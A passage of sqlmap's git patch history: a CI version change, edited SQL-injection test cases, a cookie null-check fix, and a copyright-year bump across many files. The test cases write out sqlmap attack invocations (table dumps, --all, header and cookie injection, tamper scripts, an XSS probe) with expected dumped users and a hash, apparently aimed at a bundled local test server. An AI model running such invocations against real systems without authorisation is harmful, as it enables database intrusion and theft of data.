Date: Fri, 23 Dec 2022 16:24:41 +0100
Subject: [PATCH 039/524] Minor update of testing stuff

---
 .github/workflows/tests.yml | 2 +-
 lib/core/settings.py        | 2 +-
 lib/core/testing.py         | 6 +++---
 3 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml
index acb3cacae7b..674ae2a004e 100644
--- a/.github/workflows/tests.yml
+++ b/.github/workflows/tests.yml
@@ -10,7 +10,7 @@ jobs:
     strategy:
       matrix:
         os: [ubuntu-latest, macos-latest, windows-latest]
-        python-version: [ '2.x', '3.10', 'pypy-2.7', 'pypy-3.7' ]
+        python-version: [ '2.x', '3.11', 'pypy-2.7', 'pypy-3.7' ]
     steps:
       - uses: actions/checkout@v2
       - name: Set up Python
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 7e034673f3a..7a033e8a738 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.6.12.9"
+VERSION = "1.6.12.10"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/core/testing.py b/lib/core/testing.py
index 0514b71e3f4..96b93ee534a 100644
--- a/lib/core/testing.py
+++ b/lib/core/testing.py
@@ -58,9 +58,9 @@ def vulnTest():
         ("-u  --flush-session --banner --technique=B --disable-precon --not-string \"no results\"", ("banner: '3.",)),
         ("-u  --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
         ("-u  --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
-        ("-u  --flush-session --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
+        ("-u  --flush-session --technique=BU --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: UNION query", "banner: '3.")),
         ("-u  --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload:  --flush-session --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har= --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
+        ("-u  --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har= --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")),
         ("-u  --flush-session -H \"id: 1*\" --tables -t ", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
         ("-u  --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")),
         ("-u  --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
@@ -69,7 +69,7 @@ def vulnTest():
         ("-u  --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
         ("-u  --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
         ("-u  --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")),
-        ("-u  --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
+        ("-u  --flush-session --technique=BU --all", ("5 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
         ("-u  -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")),
         ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)),
         ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),

From 216565fb05166d4bcf80b35a4f8f381e9f6b3d08 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Wed, 28 Dec 2022 16:35:26 +0100
Subject: [PATCH 040/524] Fixes #5275

---
 lib/core/settings.py | 2 +-
 lib/request/basic.py | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/lib/core/settings.py b/lib/core/settings.py
index 7a033e8a738..ad6ed8453b4 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.6.12.10"
+VERSION = "1.6.12.11"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/request/basic.py b/lib/request/basic.py
index 37ae92d0c46..d865575e136 100644
--- a/lib/request/basic.py
+++ b/lib/request/basic.py
@@ -108,7 +108,7 @@ def title(self):
     if conf.cj:
         if HTTP_HEADER.COOKIE in headers:
             for cookie in conf.cj:
-                if cookie.domain_specified and not (conf.hostname or "").endswith(cookie.domain):
+                if cookie is None or cookie.domain_specified and not (conf.hostname or "").endswith(cookie.domain):
                     continue
 
                 if ("%s=" % getUnicode(cookie.name)) in getUnicode(headers[HTTP_HEADER.COOKIE]):

From 05293e01a4012d9ba09ec66343aa0c14f7a492f7 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Mon, 2 Jan 2023 23:24:59 +0100
Subject: [PATCH 041/524] Year and version bump

---
 LICENSE                                 | 2 +-
 data/txt/common-columns.txt             | 2 +-
 data/txt/common-files.txt               | 2 +-
 data/txt/common-outputs.txt             | 2 +-
 data/txt/common-tables.txt              | 2 +-
 data/txt/keywords.txt                   | 2 +-
 data/txt/user-agents.txt                | 2 +-
 extra/__init__.py                       | 2 +-
 extra/beep/__init__.py                  | 2 +-
 extra/beep/beep.py                      | 2 +-
 extra/cloak/__init__.py                 | 2 +-
 extra/cloak/cloak.py                    | 2 +-
 extra/dbgtool/__init__.py               | 2 +-
 extra/dbgtool/dbgtool.py                | 2 +-
 extra/shutils/blanks.sh                 | 2 +-
 extra/shutils/drei.sh                   | 2 +-
 extra/shutils/duplicates.py             | 2 +-
 extra/shutils/junk.sh                   | 2 +-
 extra/shutils/modernize.sh              | 2 +-
 extra/shutils/pycodestyle.sh            | 2 +-
 extra/shutils/pydiatra.sh               | 2 +-
 extra/shutils/pyflakes.sh               | 2 +-
 extra/shutils/pylint.sh                 | 2 +-
 extra/shutils/pypi.sh                   | 4 ++--
 extra/vulnserver/__init__.py            | 2 +-
 extra/vulnserver/vulnserver.py          | 2 +-
 lib/__init__.py                         | 2 +-
 lib/controller/__init__.py              | 2 +-
 lib/controller/action.py                | 2 +-
 lib/controller/checks.py                | 2 +-
 lib/controller/controller.py            | 2 +-
 lib/controller/handler.py               | 2 +-
 lib/core/__init__.py                    | 2 +-
 lib/core/agent.py                       | 2 +-
 lib/core/bigarray.py                    | 2 +-
 lib/core/common.py                      | 2 +-
 lib/core/compat.py                      | 2 +-
 lib/core/convert.py                     | 2 +-
 lib/core/data.py                        | 2 +-
 lib/core/datatype.py                    | 2 +-
 lib/core/decorators.py                  | 2 +-
 lib/core/defaults.py                    | 2 +-
 lib/core/dicts.py                       | 2 +-
 lib/core/dump.py                        | 2 +-
 lib/core/enums.py                       | 2 +-
 lib/core/exception.py                   | 2 +-
 lib/core/gui.py                         | 4 ++--
 lib/core/log.py                         | 2 +-
 lib/core/option.py                      | 2 +-
 lib/core/optiondict.py                  | 2 +-
 lib/core/patch.py                       | 2 +-
 lib/core/profiling.py                   | 2 +-
 lib/core/readlineng.py                  | 2 +-
 lib/core/replication.py                 | 2 +-
 lib/core/revision.py                    | 2 +-
 lib/core/session.py                     | 2 +-
 lib/core/settings.py                    | 4 ++--
 lib/core/shell.py                       | 2 +-
 lib/core/subprocessng.py                | 2 +-
 lib/core/target.py                      | 2 +-
 lib/core/testing.py                     | 2 +-
 lib/core/threads.py                     | 2 +-
 lib/core/unescaper.py                   | 2 +-
 lib/core/update.py                      | 2 +-
 lib/core/wordlist.py                    | 2 +-
 lib/parse/__init__.py                   | 2 +-
 lib/parse/banner.py                     | 2 +-
 lib/parse/cmdline.py                    | 2 +-
 lib/parse/configfile.py                 | 2 +-
 lib/parse/handler.py                    | 2 +-
 lib/parse/headers.py                    | 2 +-
 lib/parse/html.py                       | 2 +-
 lib/parse/payloads.py                   | 2 +-
 lib/parse/sitemap.py                    | 2 +-
 lib/request/__init__.py                 | 2 +-
 lib/request/basic.py                    | 2 +-
 lib/request/basicauthhandler.py         | 2 +-
 lib/request/chunkedhandler.py           | 2 +-
 lib/request/comparison.py               | 2 +-
 lib/request/connect.py                  | 2 +-
 lib/request/direct.py                   | 2 +-
 lib/request/dns.py                      | 2 +-
 lib/request/httpshandler.py             | 2 +-
 lib/request/inject.py                   | 2 +-
 lib/request/methodrequest.py            | 2 +-
 lib/request/pkihandler.py               | 2 +-
 lib/request/rangehandler.py             | 2 +-
 lib/request/redirecthandler.py          | 2 +-
 lib/request/templates.py                | 2 +-
 lib/takeover/__init__.py                | 2 +-
 lib/takeover/abstraction.py             | 2 +-
 lib/takeover/icmpsh.py                  | 2 +-
 lib/takeover/metasploit.py              | 2 +-
 lib/takeover/registry.py                | 2 +-
 lib/takeover/udf.py                     | 2 +-
 lib/takeover/web.py                     | 2 +-
 lib/takeover/xp_cmdshell.py             | 2 +-
 lib/techniques/__init__.py              | 2 +-
 lib/techniques/blind/__init__.py        | 2 +-
 lib/techniques/blind/inference.py       | 2 +-
 lib/techniques/dns/__init__.py          | 2 +-
 lib/techniques/dns/test.py              | 2 +-
 lib/techniques/dns/use.py               | 2 +-
 lib/techniques/error/__init__.py        | 2 +-
 lib/techniques/error/use.py             | 2 +-
 lib/techniques/union/__init__.py        | 2 +-
 lib/techniques/union/test.py            | 2 +-
 lib/techniques/union/use.py             | 2 +-
 lib/utils/__init__.py                   | 2 +-
 lib/utils/api.py                        | 2 +-
 lib/utils/brute.py                      | 2 +-
 lib/utils/crawler.py                    | 2 +-
 lib/utils/deps.py                       | 2 +-
 lib/utils/getch.py                      | 2 +-
 lib/utils/har.py                        | 2 +-
 lib/utils/hash.py                       | 2 +-
 lib/utils/hashdb.py                     | 2 +-
 lib/utils/httpd.py                      | 2 +-
 lib/utils/pivotdumptable.py             | 2 +-
 lib/utils/progress.py                   | 2 +-
 lib/utils/purge.py                      | 2 +-
 lib/utils/safe2bin.py                   | 2 +-
 lib/utils/search.py                     | 2 +-
 lib/utils/sqlalchemy.py                 | 2 +-
 lib/utils/timeout.py                    | 2 +-
 lib/utils/versioncheck.py               | 2 +-
 lib/utils/xrange.py                     | 2 +-
 plugins/__init__.py                     | 2 +-
 plugins/dbms/__init__.py                | 2 +-
 plugins/dbms/access/__init__.py         | 2 +-
 plugins/dbms/access/connector.py        | 2 +-
 plugins/dbms/access/enumeration.py      | 2 +-
 plugins/dbms/access/filesystem.py       | 2 +-
 plugins/dbms/access/fingerprint.py      | 2 +-
 plugins/dbms/access/syntax.py           | 2 +-
 plugins/dbms/access/takeover.py         | 2 +-
 plugins/dbms/altibase/__init__.py       | 2 +-
 plugins/dbms/altibase/connector.py      | 2 +-
 plugins/dbms/altibase/enumeration.py    | 2 +-
 plugins/dbms/altibase/filesystem.py     | 2 +-
 plugins/dbms/altibase/fingerprint.py    | 2 +-
 plugins/dbms/altibase/syntax.py         | 2 +-
 plugins/dbms/altibase/takeover.py       | 2 +-
 plugins/dbms/cache/__init__.py          | 2 +-
 plugins/dbms/cache/connector.py         | 2 +-
 plugins/dbms/cache/enumeration.py       | 2 +-
 plugins/dbms/cache/filesystem.py        | 2 +-
 plugins/dbms/cache/fingerprint.py       | 2 +-
 plugins/dbms/cache/syntax.py            | 2 +-
 plugins/dbms/cache/takeover.py          | 2 +-
 plugins/dbms/cratedb/__init__.py        | 2 +-
 plugins/dbms/cratedb/connector.py       | 2 +-
 plugins/dbms/cratedb/enumeration.py     | 2 +-
 plugins/dbms/cratedb/filesystem.py      | 2 +-
 plugins/dbms/cratedb/fingerprint.py     | 2 +-
 plugins/dbms/cratedb/syntax.py          | 2 +-
 plugins/dbms/cratedb/takeover.py        | 2 +-
 plugins/dbms/cubrid/__init__.py         | 2 +-
 plugins/dbms/cubrid/connector.py        | 2 +-
 plugins/dbms/cubrid/enumeration.py      | 2 +-
 plugins/dbms/cubrid/filesystem.py       | 2 +-
 plugins/dbms/cubrid/fingerprint.py      | 2 +-
 plugins/dbms/cubrid/syntax.py           | 2 +-
 plugins/dbms/cubrid/takeover.py         | 2 +-
 plugins/dbms/db2/__init__.py            | 2 +-
 plugins/dbms/db2/connector.py           | 2 +-
 plugins/dbms/db2/enumeration.py         | 2 +-
 plugins/dbms/db2/filesystem.py          | 2 +-
 plugins/dbms/db2/fingerprint.py         | 2 +-
 plugins/dbms/db2/syntax.py              | 2 +-
 plugins/dbms/db2/takeover.py            | 2 +-
 plugins/dbms/derby/__init__.py          | 2 +-
 plugins/dbms/derby/connector.py         | 2 +-
 plugins/dbms/derby/enumeration.py       | 2 +-
 plugins/dbms/derby/filesystem.py        | 2 +-
 plugins/dbms/derby/fingerprint.py       | 2 +-
 plugins/dbms/derby/syntax.py            | 2 +-
 plugins/dbms/derby/takeover.py          | 2 +-
 plugins/dbms/extremedb/__init__.py      | 2 +-
 plugins/dbms/extremedb/connector.py     | 2 +-
 plugins/dbms/extremedb/enumeration.py   | 2 +-
 plugins/dbms/extremedb/filesystem.py    | 2 +-
 plugins/dbms/extremedb/fingerprint.py   | 2 +-
 plugins/dbms/extremedb/syntax.py        | 2 +-
 plugins/dbms/extremedb/takeover.py      | 2 +-
 plugins/dbms/firebird/__init__.py       | 2 +-
 plugins/dbms/firebird/connector.py      | 2 +-
 plugins/dbms/firebird/enumeration.py    | 2 +-
 plugins/dbms/firebird/filesystem.py     | 2 +-
 plugins/dbms/firebird/fingerprint.py    | 2 +-
 plugins/dbms/firebird/syntax.py         | 2 +-
 plugins/dbms/firebird/takeover.py       | 2 +-
 plugins/dbms/frontbase/__init__.py      | 2 +-
 plugins/dbms/frontbase/connector.py     | 2 +-
 plugins/dbms/frontbase/enumeration.py   | 2 +-
 plugins/dbms/frontbase/filesystem.py    | 2 +-
 plugins/dbms/frontbase/fingerprint.py   | 2 +-
 plugins/dbms/frontbase/syntax.py        | 2 +-
 plugins/dbms/frontbase/takeover.py      | 2 +-
 plugins/dbms/h2/__init__.py             | 2 +-
 plugins/dbms/h2/connector.py            | 2 +-
 plugins/dbms/h2/enumeration.py          | 2 +-
 plugins/dbms/h2/filesystem.py           | 2 +-
 plugins/dbms/h2/fingerprint.py          | 2 +-
 plugins/dbms/h2/syntax.py               | 2 +-
 plugins/dbms/h2/takeover.py             | 2 +-
 plugins/dbms/hsqldb/__init__.py         | 2 +-
 plugins/dbms/hsqldb/connector.py        | 2 +-
 plugins/dbms/hsqldb/enumeration.py      | 2 +-
 plugins/dbms/hsqldb/filesystem.py       | 2 +-
 plugins/dbms/hsqldb/fingerprint.py      | 2 +-
 plugins/dbms/hsqldb/syntax.py           | 2 +-
 plugins/dbms/hsqldb/takeover.py         | 2 +-
 plugins/dbms/informix/__init__.py       | 2 +-
 plugins/dbms/informix/connector.py      | 2 +-
 plugins/dbms/informix/enumeration.py    | 2 +-
 plugins/dbms/informix/filesystem.py     | 2 +-
 plugins/dbms/informix/fingerprint.py    | 2 +-
 plugins/dbms/informix/syntax.py         | 2 +-
 plugins/dbms/informix/takeover.py       | 2 +-
 plugins/dbms/maxdb/__init__.py          | 2 +-
 plugins/dbms/maxdb/connector.py         | 2 +-
 plugins/dbms/maxdb/enumeration.py       | 2 +-
 plugins/dbms/maxdb/filesystem.py        | 2 +-
 plugins/dbms/maxdb/fingerprint.py       | 2 +-
 plugins/dbms/maxdb/syntax.py            | 2 +-
 plugins/dbms/maxdb/takeover.py          | 2 +-
 plugins/dbms/mckoi/__init__.py          | 2 +-
 plugins/dbms/mckoi/connector.py         | 2 +-
 plugins/dbms/mckoi/enumeration.py       | 2 +-
 plugins/dbms/mckoi/filesystem.py        | 2 +-
 plugins/dbms/mckoi/fingerprint.py       | 2 +-
 plugins/dbms/mckoi/syntax.py            | 2 +-
 plugins/dbms/mckoi/takeover.py          | 2 +-
 plugins/dbms/mimersql/__init__.py       | 2 +-
 plugins/dbms/mimersql/connector.py      | 2 +-
 plugins/dbms/mimersql/enumeration.py    | 2 +-
 plugins/dbms/mimersql/filesystem.py     | 2 +-
 plugins/dbms/mimersql/fingerprint.py    | 2 +-
 plugins/dbms/mimersql/syntax.py         | 2 +-
 plugins/dbms/mimersql/takeover.py       | 2 +-
 plugins/dbms/monetdb/__init__.py        | 2 +-
 plugins/dbms/monetdb/connector.py       | 2 +-
 plugins/dbms/monetdb/enumeration.py     | 2 +-
 plugins/dbms/monetdb/filesystem.py      | 2 +-
 plugins/dbms/monetdb/fingerprint.py     | 2 +-
 plugins/dbms/monetdb/syntax.py          | 2 +-
 plugins/dbms/monetdb/takeover.py        | 2 +-
 plugins/dbms/mssqlserver/__init__.py    | 2 +-
 plugins/dbms/mssqlserver/connector.py   | 2 +-
 plugins/dbms/mssqlserver/enumeration.py | 2 +-
 plugins/dbms/mssqlserver/filesystem.py  | 2 +-
 plugins/dbms/mssqlserver/fingerprint.py | 2 +-
 plugins/dbms/mssqlserver/syntax.py      | 2 +-
 plugins/dbms/mssqlserver/takeover.py    | 2 +-
 plugins/dbms/mysql/__init__.py          | 2 +-
 plugins/dbms/mysql/connector.py         | 2 +-
 plugins/dbms/mysql/enumeration.py       | 2 +-
 plugins/dbms/mysql/filesystem.py        | 2 +-
 plugins/dbms/mysql/fingerprint.py       | 2 +-
 plugins/dbms/mysql/syntax.py            | 2 +-
 plugins/dbms/mysql/takeover.py          | 2 +-
 plugins/dbms/oracle/__init__.py         | 2 +-
 plugins/dbms/oracle/connector.py        | 2 +-
 plugins/dbms/oracle/enumeration.py      | 2 +-
 plugins/dbms/oracle/filesystem.py       | 2 +-
 plugins/dbms/oracle/fingerprint.py      | 2 +-
 plugins/dbms/oracle/syntax.py           | 2 +-
 plugins/dbms/oracle/takeover.py         | 2 +-
 plugins/dbms/postgresql/__init__.py     | 2 +-
 plugins/dbms/postgresql/connector.py    | 2 +-
 plugins/dbms/postgresql/enumeration.py  | 2 +-
 plugins/dbms/postgresql/filesystem.py   | 2 +-
 plugins/dbms/postgresql/fingerprint.py  | 2 +-
 plugins/dbms/postgresql/syntax.py       | 2 +-
 plugins/dbms/postgresql/takeover.py     | 2 +-
 plugins/dbms/presto/__init__.py         | 2 +-
 plugins/dbms/presto/connector.py        | 2 +-
 plugins/dbms/presto/enumeration.py      | 2 +-
 plugins/dbms/presto/filesystem.py       | 2 +-
 plugins/dbms/presto/fingerprint.py      | 2 +-
 plugins/dbms/presto/syntax.py           | 2 +-
 plugins/dbms/presto/takeover.py         | 2 +-
 plugins/dbms/raima/__init__.py          | 2 +-
 plugins/dbms/raima/connector.py         | 2 +-
 plugins/dbms/raima/enumeration.py       | 2 +-
 plugins/dbms/raima/filesystem.py        | 2 +-
 plugins/dbms/raima/fingerprint.py       | 2 +-
 plugins/dbms/raima/syntax.py            | 2 +-
 plugins/dbms/raima/takeover.py          | 2 +-
 plugins/dbms/sqlite/__init__.py         | 2 +-
 plugins/dbms/sqlite/connector.py        | 2 +-
 plugins/dbms/sqlite/enumeration.py      | 2 +-
 plugins/dbms/sqlite/filesystem.py       | 2 +-
 plugins/dbms/sqlite/fingerprint.py      | 2 +-
 plugins/dbms/sqlite/syntax.py           | 2 +-
 plugins/dbms/sqlite/takeover.py         | 2 +-
 plugins/dbms/sybase/__init__.py         | 2 +-
 plugins/dbms/sybase/connector.py        | 2 +-
 plugins/dbms/sybase/enumeration.py      | 2 +-
 plugins/dbms/sybase/filesystem.py       | 2 +-
 plugins/dbms/sybase/fingerprint.py      | 2 +-
 plugins/dbms/sybase/syntax.py           | 2 +-
 plugins/dbms/sybase/takeover.py         | 2 +-
 plugins/dbms/vertica/__init__.py        | 2 +-
 plugins/dbms/vertica/connector.py       | 2 +-
 plugins/dbms/vertica/enumeration.py     | 2 +-
 plugins/dbms/vertica/filesystem.py      | 2 +-
 plugins/dbms/vertica/fingerprint.py     | 2 +-
 plugins/dbms/vertica/syntax.py          | 2 +-
 plugins/dbms/vertica/takeover.py        | 2 +-
 plugins/dbms/virtuoso/__init__.py       | 2 +-
 plugins/dbms/virtuoso/connector.py      | 2 +-
 plugins/dbms/virtuoso/enumeration.py    | 2 +-
 plugins/dbms/virtuoso/filesystem.py     | 2 +-
 plugins/dbms/virtuoso/fingerprint.py    | 2 +-
 plugins/dbms/virtuoso/syntax.py         | 2 +-
 plugins/dbms/virtuoso/takeover.py       | 2 +-
 plugins/generic/__init__.py             | 2 +-
 plugins/generic/connector.py            | 2 +-
 plugins/generic/custom.py               | 2 +-
 plugins/generic/databases.py            | 2 +-
 plugins/generic/entries.py              | 2 +-
 plugins/generic/enumeration.py          | 2 +-
 plugins/generic/filesystem.py           | 2 +-
 plugins/generic/fingerprint.py          | 2 +-
 plugins/generic/misc.py                 | 2 +-
 plugins/generic/search.py               | 2 +-
 plugins/generic/syntax.py               | 2 +-
 plugins/generic/takeover.py             | 2 +-
 plugins/generic/users.py                | 2 +-
 sqlmap.py                               | 2 +-
 sqlmapapi.py                            | 2 +-
 tamper/0eunion.py                       | 2 +-
 tamper/__init__.py                      | 2 +-
 tamper/apostrophemask.py                | 2 +-
 tamper/apostrophenullencode.py          | 2 +-
 tamper/appendnullbyte.py                | 2 +-
 tamper/base64encode.py                  | 2 +-
 tamper/between.py                       | 2 +-
 tamper/binary.py                        | 2 +-
 tamper/bluecoat.py                      | 2 +-
 tamper/chardoubleencode.py              | 2 +-
 tamper/charencode.py                    | 2 +-
 tamper/charunicodeencode.py             | 2 +-
 tamper/charunicodeescape.py             | 2 +-
 tamper/commalesslimit.py                | 2 +-
 tamper/commalessmid.py                  | 2 +-
 tamper/commentbeforeparentheses.py      | 2 +-
 tamper/concat2concatws.py               | 2 +-
 tamper/decentities.py                   | 2 +-
 tamper/dunion.py                        | 2 +-
 tamper/equaltolike.py                   | 2 +-
 tamper/equaltorlike.py                  | 2 +-
 tamper/escapequotes.py                  | 2 +-
 tamper/greatest.py                      | 2 +-
 tamper/halfversionedmorekeywords.py     | 2 +-
 tamper/hex2char.py                      | 2 +-
 tamper/hexentities.py                   | 2 +-
 tamper/htmlencode.py                    | 2 +-
 tamper/ifnull2casewhenisnull.py         | 2 +-
 tamper/ifnull2ifisnull.py               | 2 +-
 tamper/informationschemacomment.py      | 2 +-
 tamper/least.py                         | 2 +-
 tamper/lowercase.py                     | 2 +-
 tamper/luanginx.py                      | 2 +-
 tamper/misunion.py                      | 2 +-
 tamper/modsecurityversioned.py          | 2 +-
 tamper/modsecurityzeroversioned.py      | 2 +-
 tamper/multiplespaces.py                | 2 +-
 tamper/ord2ascii.py                     | 2 +-
 tamper/overlongutf8.py                  | 2 +-
 tamper/overlongutf8more.py              | 2 +-
 tamper/percentage.py                    | 2 +-
 tamper/plus2concat.py                   | 2 +-
 tamper/plus2fnconcat.py                 | 2 +-
 tamper/randomcase.py                    | 2 +-
 tamper/randomcomments.py                | 2 +-
 tamper/schemasplit.py                   | 2 +-
 tamper/scientific.py                    | 2 +-
 tamper/sleep2getlock.py                 | 2 +-
 tamper/sp_password.py                   | 2 +-
 tamper/space2comment.py                 | 2 +-
 tamper/space2dash.py                    | 2 +-
 tamper/space2hash.py                    | 2 +-
 tamper/space2morecomment.py             | 2 +-
 tamper/space2morehash.py                | 2 +-
 tamper/space2mssqlblank.py              | 2 +-
 tamper/space2mssqlhash.py               | 2 +-
 tamper/space2mysqlblank.py              | 2 +-
 tamper/space2mysqldash.py               | 2 +-
 tamper/space2plus.py                    | 2 +-
 tamper/space2randomblank.py             | 2 +-
 tamper/substring2leftright.py           | 2 +-
 tamper/symboliclogical.py               | 2 +-
 tamper/unionalltounion.py               | 2 +-
 tamper/unmagicquotes.py                 | 2 +-
 tamper/uppercase.py                     | 2 +-
 tamper/varnish.py                       | 2 +-
 tamper/versionedkeywords.py             | 2 +-
 tamper/versionedmorekeywords.py         | 2 +-
 tamper/xforwardedfor.py                 | 2 +-
 402 files changed, 405 insertions(+), 405 deletions(-)

diff --git a/LICENSE b/LICENSE
index a46c0da58b5..172de6054cb 100644
--- a/LICENSE
+++ b/LICENSE
@@ -1,7 +1,7 @@
 COPYING -- Describes the terms under which sqlmap is distributed. A copy
 of the GNU General Public License (GPL) is appended to this file.
 
-sqlmap is (C) 2006-2022 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
+sqlmap is (C) 2006-2023 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
 
 This program is free software; you may redistribute and/or modify it under
 the terms of the GNU General Public License as published by the Free
diff --git a/data/txt/common-columns.txt b/data/txt/common-columns.txt
index f3679cf892b..b2e00b3456d 100644
--- a/data/txt/common-columns.txt
+++ b/data/txt/common-columns.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 id
diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt
index f20610d9d33..8fbbe0ebd7b 100644
--- a/data/txt/common-files.txt
+++ b/data/txt/common-files.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # CTFs
diff --git a/data/txt/common-outputs.txt b/data/txt/common-outputs.txt
index 7ac22206d20..60bdf5edb26 100644
--- a/data/txt/common-outputs.txt
+++ b/data/txt/common-outputs.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 [Banners]
diff --git a/data/txt/common-tables.txt b/data/txt/common-tables.txt
index 21ab6eb482e..8776e2e8864 100644
--- a/data/txt/common-tables.txt
+++ b/data/txt/common-tables.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 users
diff --git a/data/txt/keywords.txt b/data/txt/keywords.txt
index b0976fde549..f8c81387c07 100644
--- a/data/txt/keywords.txt
+++ b/data/txt/keywords.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
diff --git a/data/txt/user-agents.txt b/data/txt/user-agents.txt
index d18904fcaae..02f52001940 100644
--- a/data/txt/user-agents.txt
+++ b/data/txt/user-agents.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Opera
diff --git a/extra/__init__.py b/extra/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/extra/__init__.py
+++ b/extra/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/extra/beep/__init__.py
+++ b/extra/beep/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/extra/beep/beep.py b/extra/beep/beep.py
index b5542c3b8f0..ad932834021 100644
--- a/extra/beep/beep.py
